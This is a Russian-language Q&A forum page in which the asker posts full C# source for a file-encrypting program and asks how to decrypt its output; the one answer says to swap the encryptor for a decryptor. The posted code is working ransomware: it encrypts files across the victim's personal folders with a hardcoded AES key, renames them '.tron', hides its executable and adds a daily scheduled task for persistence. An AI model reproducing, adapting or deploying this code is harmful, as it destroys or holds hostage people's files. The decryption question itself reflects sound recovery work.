Как расшифровать RijndaelManaged

194
29 апреля 2018, 19:42

Подскажите как расшифровать данные после их шифрование?!

Есть код который шифрует все файлы в указанных директориях:

class Encrypt
    {
        private string PasswordEncrypt = "H6Qdteygww"; // открытый ключ для шифрования и расшифровки
        private byte[] RidjinEncrypt(byte[] byte_0)
        {
            byte[] result = null;
            using (MemoryStream memoryStream = new MemoryStream())
            {
                using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
                {
                    rijndaelManaged.KeySize = 256;
                    rijndaelManaged.BlockSize = 128;
                    Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(Encoding.ASCII.GetBytes(this.PasswordEncrypt), Encoding.ASCII.GetBytes(this.PasswordEncrypt), 1000);
                    rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
                    rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
                    rijndaelManaged.Mode = CipherMode.CBC;
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(byte_0, 0, byte_0.Length);
                        cryptoStream.Close();
                    }
                    result = memoryStream.ToArray();
                }
            }
            return result;
        }
        private void EncryptFiles(string string_1)
        {
            try
            {
                try
                {
                    if (new FileInfo(string_1).Length <= 4096L)
                    {
                        byte[] bytes = this.RidjinEncrypt(File.ReadAllBytes(string_1));
                        File.WriteAllBytes(string_1, bytes);
                        File.Move(string_1, string_1 + ".tron");
                    }
                    else if (new FileInfo(string_1).Length <= 30000000L)
                    {
                        byte[] array = new byte[8192];
                        using (BinaryReader binaryReader = new BinaryReader(File.Open(string_1, FileMode.Open)))
                        {
                            byte[] array2 = this.RidjinEncrypt(binaryReader.ReadBytes(4096));
                            Array.Copy(array2, array, array2.Length);
                        }
                        using (BinaryWriter binaryWriter = new BinaryWriter(File.Open(string_1, FileMode.Open)))
                        {
                            binaryWriter.Write(array);
                        }
                        File.Move(string_1, string_1 + ".tron");
                    }
                }
                catch (Exception)
                {
                    FileAttributes fileAttributes = File.GetAttributes(string_1);
                    if ((fileAttributes & FileAttributes.ReadOnly) == FileAttributes.ReadOnly)
                    {
                        fileAttributes = this.fileAttrib(fileAttributes, FileAttributes.ReadOnly);
                        File.SetAttributes(string_1, fileAttributes);
                    }
                    if (new FileInfo(string_1).Length <= 4096L)
                    {
                        byte[] bytes2 = this.RidjinEncrypt(File.ReadAllBytes(string_1));
                        File.WriteAllBytes(string_1, bytes2);
                        File.Move(string_1, string_1 + ".tron");
                    }
                    else if (new FileInfo(string_1).Length <= 30000000L)
                    {
                        byte[] buffer = new byte[8192];
                        using (BinaryReader binaryReader2 = new BinaryReader(File.Open(string_1, FileMode.Open)))
                        {
                            buffer = this.RidjinEncrypt(binaryReader2.ReadBytes(4096));
                        }
                        using (BinaryWriter binaryWriter2 = new BinaryWriter(File.Open(string_1, FileMode.Open)))
                        {
                            binaryWriter2.Write(buffer);
                        }
                        File.Move(string_1, string_1 + ".tron");
                    }
                }
            }
            catch (Exception)
            {
            }
        }
        private FileAttributes fileAttrib(FileAttributes fileAttributes_0, FileAttributes fileAttributes_1)
        {
            return fileAttributes_0 & ~fileAttributes_1;
        }
        private void GetFile(string string_1)
        {
            try
            {
                string[] files = Directory.GetFiles(string_1);
                string[] directories = Directory.GetDirectories(string_1);
                for (int i = 0; i < files.Length; i++)
                {
                    if (!Path.GetExtension(files[i]).Contains("tron"))
                    {
                        this.EncryptFiles(files[i]);
                    }
                }
                for (int j = 0; j < directories.Length; j++)
                {
                    this.GetFile(directories[j]);
                }
            }
            catch (Exception)
            {
            }
        }
        public void Start()
        {
            File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
            Process.Start(new ProcessStartInfo
            {
                Arguments = "/create /tn \\Windows\\Startup /tr " + Application.ExecutablePath + " /st 00:00 /du 9999:59 /sc daily /ri 3 /f",
                WindowStyle = ProcessWindowStyle.Hidden,
                CreateNoWindow = true,
                FileName = "schtasks.exe"
            });
            if (!File.Exists(Environment.GetEnvironmentVariable("ProgramData") + "\\trig"))
            {
                string[] array = new string[]
            {
                Environment.GetFolderPath(Environment.SpecialFolder.Recent),
                Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),
                Environment.GetFolderPath(Environment.SpecialFolder.MyMusic),
                Environment.GetFolderPath(Environment.SpecialFolder.MyVideos),
                Environment.GetFolderPath(Environment.SpecialFolder.Personal),
                Environment.GetFolderPath(Environment.SpecialFolder.Favorites),
                Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments),
                Environment.GetFolderPath(Environment.SpecialFolder.CommonPictures),
                Environment.GetFolderPath(Environment.SpecialFolder.CommonMusic),
                Environment.GetFolderPath(Environment.SpecialFolder.CommonVideos),
                Environment.GetFolderPath(Environment.SpecialFolder.CommonDesktopDirectory),
                Environment.GetFolderPath(Environment.SpecialFolder.Desktop),
                Environment.GetEnvironmentVariable("AppData"),
                Environment.GetEnvironmentVariable("LocalAppData")
            };
                for (int i = 0; i < array.Length; i++)
                {
                    this.GetFile(array[i]);
                }
                File.WriteAllText(Environment.GetEnvironmentVariable("ProgramData") + "\\trig", "123");
            }
        }
    }

Многие могут не правильно понять и подумают что пишу вирусы, но нет :( я хочу сделать всё наоборот, сделать расшифровку от такого подобного кода рода. Но никак не могу сообразить.

Answer 1

Замените здесь CreateEncryptor на CreateDecryptor:

using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
READ ALSO
Проблема с cookie в WebRequest

Проблема с cookie в WebRequest

Не могу понять, как получать cookie от сервера через WebRequestПросто не устанавливает и не видит их

217
Не возвращается большой объем данных request WebBrowser

Не возвращается большой объем данных request WebBrowser

Есть winform приложение на C#, которое формирует html-файл (форма ввода сведений: 5 полей для ввода текста и кнопка submit)На форме расположен WebBrowser,...

192
Combobox с CheckBox,как можно сделать?

Combobox с CheckBox,как можно сделать?

Необходимо сделать такой элемент,при помощи каких средств это делается?

214
Вложенные массивы в Unity

Вложенные массивы в Unity

В Unity в инспекторе не отображаются вложенные массивы или я что то не так делаю? Мне необходимо вывести массив массивов в инспектор для заполнения

221